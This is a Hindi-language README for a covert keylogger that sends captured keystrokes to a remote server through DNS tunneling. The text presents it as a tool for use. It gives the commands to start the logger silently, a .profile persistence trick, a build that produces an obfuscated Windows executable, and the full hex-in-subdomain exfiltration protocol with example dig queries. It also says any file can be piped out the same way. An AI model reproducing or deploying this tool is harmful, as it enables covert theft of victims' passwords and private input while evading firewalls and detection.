
DNS टनलिंग/एक्सफिल्ट्रेशन का उपयोग करके फ़ायरवॉल के माध्यम से कीस्ट्रोक्स संचारित करने वाला कीलॉगिंग सर्वर और क्लाइंट।
यह पोस्ट-एक्सप्लॉइटेशन कीलॉगर बिना ध्यान में आए कीस्ट्रोक्स को सर्वर पर भेजेगा।
ये उपकरण हल्के एक्सफ़िलट्रेशन और स्थिरता में उत्कृष्ट होते हैं, जो पहचान को रोकेंगे। यह फ़ायरवॉल को बायपास करने और पहचान से बचने के लिए DNS टनलिंग/एक्सफ़िलट्रेशन का उपयोग करता है।
सर्वर python3 का उपयोग करता है।
निर्भरताएँ स्थापित करने के लिए, python3 -m pip install -r requirements.txt चलाएँ।
सर्वर प्रारंभ करने के लिए, python3 main.py चलाएँ।
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
डिफ़ॉल्ट रूप से, सर्वर UDP पोर्ट 53 पर सुनता है। कोई अलग पोर्ट निर्दिष्ट करने के लिए -p फ़्लैग का उपयोग करें।
ip सर्वर का IP पता है। इसका उपयोग SOA और NS रिकॉर्ड में किया जाता है, जो अन्य नेमसर्वरों को सर्वर खोजने की अनुमति देता है।
domain वह डोमेन है जिसके लिए सर्वर सुनता है, जो वह डोमेन होना चाहिए जिसके लिए सर्वर आधिकारिक है।
रजिस्ट्रार पर, आप अपने डोमेन के नेमस्पेस को कस्टम DNS में बदलना चाहते हैं।
उन्हें दो डोमेन, ns1.example.com और ns2.example.com पर पॉइंट करें।

वे रिकॉर्ड जोड़ें जो नेमस्पेस डोमेन को आपके एक्सफ़िलट्रेशन सर्वर के IP पते पर पॉइंट करते हैं।

यह ग्लू रिकॉर्ड सेट करने के समान है।
लिनक्स कीलॉगर दो बैश स्क्रिप्ट है। connection.sh का उपयोग logger.sh स्क्रिप्ट द्वारा कीस्ट्रोक्स को सर्वर पर भेजने के लिए किया जाता है। यदि आप मैन्युअल रूप से डेटा भेजना चाहते हैं, जैसे कोई फ़ाइल, तो आप connection.sh स्क्रिप्ट में डेटा पाइप कर सकते हैं। यह स्वचालित रूप से एक कनेक्शन स्थापित करेगा और डेटा भेजेगा।
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
कीलॉगर प्रारंभ करने के लिए, कमांड ./logger.sh [domain] && exit चलाएँ। यह चुपचाप कीलॉगर प्रारंभ करेगा, और टाइप किए गए किसी भी इनपुट को भेज दिया जाएगा। अंत में && exit शेल को exit करने पर बंद कर देगा। इसके बिना, बाहर निकलने पर आप गैर-कीलॉग्ड शेल पर वापस आ जाएँगे। त्रुटि संदेश प्रदर्शित करने के लिए &> /dev/null हटाएँ।
-p विकल्प अस्थायी लॉग फ़ाइल का स्थान निर्दिष्ट करेगा जहाँ सभी इनपुट भेजे जाते हैं। डिफ़ॉल्ट रूप से, यह /tmp/ है।
-l विकल्प चेतावनियाँ और त्रुटियाँ दिखाएगा। डिबगिंग के लिए उपयोगी हो सकता है।
कीलॉगर के काम करने के लिए logger.sh और connection.sh एक ही निर्देशिका में होने चाहिए। यदि आप स्थिरता चाहते हैं, तो आप प्रत्येक नए इंटरैक्टिव शेल पर प्रारंभ करने के लिए कमांड को .profile में जोड़ सकते हैं।
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
कीलॉगिंग प्रोग्राम बनाने के लिए, windows निर्देशिका में make चलाएँ। कम आकार और कुछ हद तक अस्पष्टता के साथ बनाने के लिए, production लक्ष्य बनाएँ। यह build निर्देशिका बनाएगा और build निर्देशिका में logger.exe नामक फ़ाइल में आउटपुट देगा। मैंने केवल विंडोज 10 पर MinGW का उपयोग करके बिल्ड का परीक्षण किया है। यदि आप गैर-विंडोज मशीन पर g++ का उपयोग करने का प्रयास करते हैं, तो संभवतः आपको windows.h से संबंधित बिल्ड त्रुटियाँ मिलेंगी।
make production domain=example.com
आप debug लक्ष्य बनाकर डिबगिंग के साथ प्रोग्राम बनाने का भी विकल्प चुन सकते हैं।
make debug domain=example.com
दोनों लक्ष्यों के लिए, आपको वह डोमेन निर्दिष्ट करना होगा जिसके लिए सर्वर सुन रहा है।
आप सर्वर को अनुरोध भेजने के लिए dig का उपयोग कर सकते हैं:
dig @127.0.0.1 a.1.1.1.example.com A +short लोकलहोस्ट पर सर्वर को कनेक्शन अनुरोध भेजता है।
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short लोकलहोस्ट को परीक्षण संदेश भेजता है।
example.com को उस डोमेन से बदलें जिसके लिए सर्वर सुन रहा है।
a से शुरू होने वाले A रिकॉर्ड अनुरोध एक "कनेक्शन" की शुरुआत का संकेत देते हैं। जब सर्वर उन्हें प्राप्त करता है, तो वह एक नकली गैर-आरक्षित IP पते के साथ उत्तर देगा जहाँ अंतिम ऑक्टेट में क्लाइंट की आईडी होती है।
कनेक्शन प्रारंभ करने के लिए अनुसरण करने का प्रारूप इस प्रकार है: a.1.1.1.[sld].[tld].
सर्वर निम्नलिखित प्रारूप में IP पते के साथ उत्तर देगा: 123.123.123.[id]
समवर्ती कनेक्शन 254 से अधिक नहीं हो सकते, और क्लाइंट कभी भी "डिस्कनेक्ट" नहीं माने जाते।
b से शुरू होने वाले A रिकॉर्ड अनुरोध सर्वर पर भेजे जा रहे एक्सफ़िलट्रेटेड डेटा का संकेत देते हैं।
कनेक्शन स्थापित करने के बाद डेटा भेजने के लिए अनुसरण करने का प्रारूप इस प्रकार है: b.[पैकेट #].[id].[डेटा].[sld].[tld].
सर्वर [code].123.123.123 के साथ उत्तर देगा।
id वह आईडी है जो कनेक्शन पर स्थापित की गई थी। डेटा हेक्स में एन्कोडेड ASCII के रूप में भेजा जाता है।
code नीचे वर्णित कोडों में से एक है।
200: OKयदि क्लाइंट एक अनुरोध भेजता है जो सामान्य रूप से संसाधित होता है, तो सर्वर कोड 200 के साथ उत्तर देगा।
201: ख़राब रिकॉर्ड अनुरोधयदि क्लाइंट एक ख़राब रिकॉर्ड अनुरोध भेजता है, तो सर्वर कोड 201 के साथ उत्तर देगा।
202: अस्तित्वहीन कनेक्शनयदि क्लाइंट कनेक्शनों की संख्या से अधिक आईडी वाला डेटा पैकेट भेजता है, तो सर्वर कोड 202 के साथ उत्तर देगा।
203: क्रम से बाहर पैकेटयदि क्लाइंट एक पैकेट आईडी भेजता है जो अपेक्षित से मेल नहीं खाती, तो सर्वर कोड 203 के साथ उत्तर देगा। क्लाइंट और सर्वर को अपने पैकेट नंबर 0 पर रीसेट करने चाहिए। फिर क्लाइंट नई पैकेट आईडी के साथ पैकेट फिर से भेज सकता है।
204: अधिकतम कनेक्शन तक पहुँच गयायदि क्लाइंट अधिकतम कनेक्शन तक पहुँचने पर कनेक्शन बनाने का प्रयास करता है, तो सर्वर कोड 204 के साथ उत्तर देगा।
क्लाइंट को प्राप्त पैकेट की स्वीकृति के रूप में प्रतिक्रियाओं पर भरोसा करना चाहिए। यदि उन्हें प्रतिक्रिया नहीं मिलती है, तो उन्हें वही पेलोड फिर से भेजना चाहिए।
उपयोगकर्ता इनपुट वाली लॉग फ़ाइल में ASCII नियंत्रण वर्ण होते हैं, जैसे बैकस्पेस, डिलीट और कैरिज रिटर्न। यदि आप cat जैसी चीज़ का उपयोग करके सामग्री प्रिंट करते हैं, तो आपको ASCII नियंत्रण वर्णों को प्रिंट करने के लिए उपयुक्त विकल्प चुनना चाहिए, जैसे cat के लिए -v, या इसे टेक्स्ट-एडिटर में खोलें।
कीलॉगर script पर निर्भर करता है, इसलिए कीलॉगर गैर-इंटरैक्टिव शेल में नहीं चलेगा।
किसी कारण से, विंडोज Dns_Query_A हमेशा डुप्लिकेट अनुरोध भेजता है। सर्वर इसे ठीक से संसाधित करेगा क्योंकि वह दोहराए गए पैकेटों को त्याग देता है।